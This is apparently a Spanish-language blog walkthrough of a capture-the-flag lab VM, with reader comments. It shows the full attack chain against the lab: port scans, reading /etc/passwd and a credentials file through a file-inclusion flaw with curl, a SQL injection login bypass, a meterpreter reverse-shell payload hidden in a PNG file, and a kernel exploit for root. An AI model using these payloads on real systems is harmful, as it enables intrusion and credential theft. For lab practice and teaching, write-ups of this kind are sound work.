Empezamos con el típico escaneo de puertos mediante nmap para descubrir los puertos y servicios corriendo en la VM:
nmap -T4 -A -v -p- 192.168.1.22
Nmap scan report for 192.168.1.22
Host is up (0.00030s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
| 2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_ 256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: --==[[IndiShell Lab]]==--
MAC Address: 08:00:27:1C:31:B1 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Uptime guess: 0.020 days (since Thu Apr 27 18:09:17 2017)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Al acceder a la aplicación web vemos que van a poner a prueba nuestras habilidades para encontrar una inyección SQL:
http://192.168.1.22/
Seguimos investigando un poco haciendo un fuzzing de directorios con wfuzz y el diccionario 'big' de Seclist:
# ./wfuzz.py -c -z file,/diccios/SecLists/Discovery/Web_Content/big.txt --hc 404 http://192.168.1.22/FUZZ
Nmap scan report for 192.168.1.22
Host is up (0.00030s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
| 2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_ 256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: --==[[IndiShell Lab]]==--
MAC Address: 08:00:27:1C:31:B1 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
********************************************************
* Wfuzz 2.1.5 - The Web Bruteforcer *
********************************************************
Target: http://192.168.1.22/FUZZ
Total requests: 20469
==================================================================
ID Response Lines Word Chars Request
==================================================================
01701: C=200 8 L 28 W 307 Ch "add"
03850: C=200 1 L 0 W 1 Ch "c"
04296: C=403 10 L 30 W 288 Ch "cgi-bin/"
08760: C=200 157 L 302 W 2793 Ch "head"
09332: C=301 9 L 28 W 313 Ch "images"
09479: C=200 644 L 3083 W 47668 Ch "in"
09530: C=200 166 L 357 W 3267 Ch "index"
13389: C=302 146 L 273 W 2469 Ch "panel"
13779: C=301 9 L 28 W 312 Ch "phpmy"
16176: C=403 10 L 30 W 293 Ch "server-status"
16398: C=200 1 L 0 W 1 Ch "show"
17825: C=200 0 L 11 W 72 Ch "test"
18715: C=301 9 L 28 W 322 Ch "uploaded_images"
20462: C=403 10 L 30 W 289 Ch ".htaccess"
20463: C=403 10 L 30 W 289 Ch ".htpasswd"
Total time: 16.60409
Processed Requests: 20469
Filtered Requests: 20454
Requests/sec.: 1232.768
De los recursos encontrados, destaca la respuesta al acceder a 'test':
http://192.168.1.22/test
mediante ésta, es fácil deducir que es posible que el parámetro 'file' sea vulnerable a LFI. Y podemos comprobar que, efectivamente, si lo es mediante una sencilla petición POST con curl:
# curl -X POST --data "file=/etc/passwd" http://192.168.1.22/test
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false
whoopsie:x:104:107::/nonexistent:/bin/false
landscape:x:105:110::/var/lib/landscape:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
ica:x:1000:1000:ica,,,:/home/ica:/bin/bash
Ahora que tenemos un LFI podemos usarlo también para leer el código fuente del formulario de login y entender cómo construir el payload para la posible inyección SQL:
# curl -X POST --data "file=./index.php" http://192.168.1.22/test | more
'select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\''
Con el código fuente todo es mucho más fácil... sólo nos faltaba añadir el carácter backslash '\' al final de cada payload en cada uno de los parámetros:
Payload: Or 1=1 -- \
'select * from auth where pass=' Or 1=1 -- \' and uname=' Or 1=1 -- \' '
Si introducimos el payload en el formulario bypassearemos la autenticación:
http://192.168.1.22/panel.php
¡SQLi explotado! ;)
Continuamos "explorando" los recursos descubiertos en el crawling:
# curl -X POST --data "file=./c.php" http://192.168.1.22/test
El siguiente en leer es el fichero de configuración por defecto de phpMyAdmin, en el que encontraremos también credenciales en claro:
curl -X POST --data "file=/var/www/phpmy/config.inc.php" http://192.168.1.22/test
Finalmente todo acaba "abruptamente" al comprobar que las credenciales efectivamente son las del usuario root y tenemos acceso con las mismas mediante ssh:
ssh root@192.168.1.22
Primero creamos nuestra shell en formato png:
echo 89504E470D0A1A0A | xxd -r -p > shell.png
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.63 lport=443 -f raw >> shell.png
Vemos que el formato png no es interpretado, miramos la configuración del htaccess:
No hay allowoverride, buscamos otras formas de interpretar la shell.
El fichero test.php no es buen candidato porque usa la funcion readfile:
Cargamos ahí nuestra shell:
¡Booom!
Ahora que tenemos shell nuestro siguiente y último paso será intentar escalar privilegios para llegar a ser root. Lo primero que haremos será ver la versión del kernel de la máquina:
¡Bingo! Descargamos y ejecutamos el exploit:
y ya somos root como D10s manda..
Ahora sí.. ¡Hasta la próxima!
Muy bueno, Larry Lau. ;-)
ResponderEliminarLarry me dió fuerzas.. jeje La verdad es que el nivel de la máquina es intermedio pero es muy fácil. A ver si van sacando nuevos walkthroughs y comparamos la forma de resolverlos
EliminarHola, al subir la maquina virtual pide usuario y clave, pero no se indica
ResponderEliminarhttp://cuddlebuggery.com/wp-content/uploads/2013/05/Picard-Facepalm.jpg
EliminarAl parecer eres nuevo en esto. El objetivo de la maquina virtual es que obtenga acceso a la misma obviamente si tener conocimiento del usuario y contraseña, pero si tanto lo de seas es root y roottoor. jejeje
EliminarMuchísimas gracias !
ResponderEliminar